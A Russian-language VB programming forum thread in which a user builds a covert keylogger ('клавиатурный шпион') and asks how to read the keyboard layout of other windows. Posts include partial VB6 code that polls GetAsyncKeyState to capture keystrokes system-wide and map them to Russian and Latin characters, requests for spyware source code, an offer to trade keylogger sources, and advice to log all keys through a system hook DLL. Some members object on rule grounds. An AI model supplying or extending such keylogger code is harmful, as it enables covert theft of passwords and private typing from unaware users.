проблемы с клавиатурным шпионом

[HugoFlex]

Есть такой вопрос. Вот я сделаль клавиатурный шпион с русской раскладкой. В текушей окне приложения раскладка работает нормально. Но когда я перемещаю фокус на другое окно то ррасскладка не реагирует. Проверку расскладки я реализовал с помощю API функции
GetKeyboarLayoutName
А саму функцию проверки я сделал так:

Код: Выделить всё

Public Function RUKEYSON() As Boolean
    Dim KeybLayoutName As String, k As Long, nap
KeybLayoutName = String(9, 0)
GetKeyboardLayoutName (KeybLayoutName)
k = CStr(CLng(Left$(KeybLayoutName, _
   InStr(1, KeybLayoutName, Chr(0)) - 1)))

If k = "0409" Then
   RUKEYSON = False
ElseIf k = "0419" Then
   RUKEYSON = True
End If
End Function

Подскажите в чём проблема?[/list]

[Max!]

Правильно ведь когда форма вне фокусе то там уже идёт проверка вне формы , тоесть тибе нужен код каторый отлавливал-бы нажатие клавиш вне формы ! Попробуй этот :

Код: Выделить всё

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

In Form:

Do Until GetAsyncKeyState(vbKeyEscape) <> 0
DoEvents
If GetAsyncKeyState(vbKeyA) <> 0 Then MsgBox "A": keybd_event vbKeyA, 0, 2, 0
DoEvents
If GetAsyncKeyState(vbKeyEnter) <> 0 Then MsgBox "Enter": keybd_event vbKeyEnter, 0, 2, 0
DoEvents
Loop


[HugoFlex]

Я итак знаю отлавливать нажатиые кнопки даже если форма неактивна. Да при этом у меня работает с маленькими и русскими шрифтами, да и форма видна (а утебя как только запускаешь, формы нет ). Вот отрывок кода:

Код: Выделить всё

Private Declare Function GetKeyboardLayoutName Lib "user32" _
Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
    Private Const VK_CAPITAL = &H14

Const bigRUS = "ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ"
Const smlRUS = "фисвуапршолдьтщзйкыегмцчня"

Private Sub Timer1_Timer()
f (RUKeysOn = False And CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Chr(x)
    End If
   
    If (RUKeysOn = False And CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Chr(x + 32)
    End If
   
    If (RUKeysOn = True And CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Mid(bigRUS, x - 64, 1)
    End If
   
    If (RUKeysOn = True And CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = _
    &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
        Text2 = Text2 + Mid(smlRUS, x - 64, 1)
    End If
Next

End Sub

Public Function RUKeysOn() As Boolean
Dim KeybLayoutName As String, k As Long, nap
KeybLayoutName = String(9, 0)
GetKeyboardLayoutName (KeybLayoutName)
k = CStr(CLng(Left$(KeybLayoutName, _
   InStr(1, KeybLayoutName, Chr(0)) - 1)))

If k = "0409" Then
   RUKeysOn = False
ElseIf k = "0419" Then
   RUKeysOn = True
End If

End Function

Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
    While Getasynckeystate(VK_CAPITAL)
    Wend
    bOn = GetKeyState(VK_CAPITAL)
    bInit = True
    Else
    If Getasynckeystate(VK_CAPITAL) Then
    While Getasynckeystate(VK_CAPITAL)
    DoEvents
    Wend
    bOn = Not bOn
    End If
    End If
    CAPSLOCKON = bOn
End Function


Но впрос я задал иной. Как поменять раскладку клавиатуры вне формы?

[GSerg]

Раскладка клавиатуры поодерживается на уровне треда самой виндой. Не нужно её менять для других тредов - да и зачем?

[HugoFlex]

Есть такая программа шпион котороя работает с русской раскладкой. Если не забыл то она называется ActualSpy. То там работает всё нормально да ещё он умеет снимать снимки с экрана Так как же они умудрились сделать. А может кто нибудь зает исходники вроде такой программы. Подскажите пожалуйста

[HugoFlex]

Есть такая программа шпион котороя работает с русской раскладкой. Если не забыл то она называется ActualSpy. То там работает всё нормально да ещё он умеет снимать снимки с экрана Так как же они умудрились сделать. А может кто нибудь знает исходники вроде такой программы. Подскажите пожалуйста

[Tarik]

Эх... Что за времена пошли... Раньше RayShade за такое на Колыму бы сослал

[HugoFlex]

А кто такой RayShade? И в чем дело?

[Amed]

У-у... Он не знает RayShade!

[HugoFlex]

Я просто новинький в этом форуме. А что он такой злой?

[Amed]

Да как сказать... Он очень-очень строгий

[HugoFlex]

Ну я думал форум это место где можно задавать любые интересующие вопросу в тему

[GSerg]

Можно
За исключением тех, которые нельзя
Которые нельзя - они в Правилах. Правила писал RayShade

[HugoFlex]

Где эти правила я могу прочитать?:shock:

[GM]

Правила конференции VBStreets

[xenomorph]

Сам столкнулся ...

Другие кейлоггеры юзают хуки ... там такой проблемы нет (не ВБ).

Решил так:

Пишем только одним языком лог. + Делаем 2 кнопки - Конвертировать в РУ\Инглыш. В принципе нормально работает .

У меня есть код на хватание активного окна и определение раскладки ... (точнее где-то был .

Н.Б. Поменяемся сорсами?

[HugoFlex]

Так кидай его сюда или мне по почте.

[Brusco]

Писать надо на PB dll'ку, регить системный хук и вперёд...
Считывать все нажатые клавиши и записывать их в лог-файл
Я такие встречал, правда на Delphi